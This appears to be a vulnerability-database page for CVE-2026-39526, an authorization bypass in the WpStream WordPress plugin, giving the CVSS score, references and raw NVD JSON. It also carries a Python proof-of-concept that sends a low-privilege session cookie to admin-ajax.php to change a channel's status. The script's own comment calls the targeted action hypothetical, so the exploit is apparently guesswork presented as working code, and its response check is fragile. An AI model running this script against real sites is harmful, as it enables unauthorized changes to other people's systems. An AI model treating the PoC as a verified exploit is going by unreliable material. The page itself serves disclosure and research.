CVE-2026-39526

Description

Authorization Bypass Through User-Controlled Key vulnerability in wpstream WpStream wpstream allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpStream: from n/a through < 4.11.2.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WpStream < 4.11.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-39526: Authorization Bypass via User-Controlled Key
# Target: WpStream WordPress Plugin < 4.11.2

TARGET_URL = "http://example.com/wp-admin/admin-ajax.php"
ATTACKER_COOKIE = "wordpress_logged_in_xxx=low_privilege_session_token"

def exploit_poc():
    headers = {
        "User-Agent": "Mozilla/5.0 (CVE-2026-39526 PoC)",
        "Cookie": ATTACKER_COOKIE,
        "Content-Type": "application/x-www-form-urlencoded"
    }

    # The payload demonstrates exploiting the user-controlled key (e.g., 'id' or 'nonce')
    # to perform an action restricted to higher privileges.
    payload = {
        "action": "wpstream_update_channel",  # Hypothetical vulnerable action
        "channel_id": "1",                     # User-controlled key targeting admin resource
        "status": "inactive"                   # Malicious modification
    }

    try:
        response = requests.post(TARGET_URL, data=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            if "success" in response.text or response.json().get("success"):
                print("[+] Vulnerability exploited! Authorization bypassed.")
            else:
                print("[-] Exploit failed: Action denied or invalid payload.")
        else:
            print(f"[-] Server returned HTTP {response.status_code}")
            
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    exploit_poc()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39526
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39526
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39526/
[4] VulDB https://vuldb.com/cve/CVE-2026-39526
[5] https://patchstack.com/database/Wordpress/Plugin/wpstream/vulnerability/wordpress-wpstream-plugin-4-11-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39526", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:25.940", "lastModified": "2026-04-24T18:08:35.440", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in wpstream WpStream wpstream allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpStream: from n/a through < 4.11.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpstream/vulnerability/wordpress-wpstream-plugin-4-11-2-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}